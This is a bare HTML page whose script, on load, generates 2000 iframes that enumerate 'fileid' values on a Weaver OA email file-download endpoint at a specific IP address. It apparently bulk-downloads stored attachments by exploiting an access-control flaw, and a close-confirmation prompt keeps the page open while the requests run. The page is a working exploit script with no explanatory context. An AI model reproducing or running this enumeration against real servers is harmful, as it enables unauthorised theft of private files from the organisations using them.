<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>l</title> <style> .frame { width:200px; height:200px; } </style> <Script> window.onbeforeunload = function(){ return '你确定要关闭吗?'; } window.onload= function() { for(var obj=1;obj<=2000;obj++) { var istr="http://219.150.85.232:82/weaver/weaver.email.FileDownloadLocation?fileid="+obj; var iframe = document.createElement("iframe"); iframe.src=istr; iframe.className="frame"; iframe.id="iframe"+obj; document.body.appendChild(iframe); } } </script> </head> <body> </body> </html>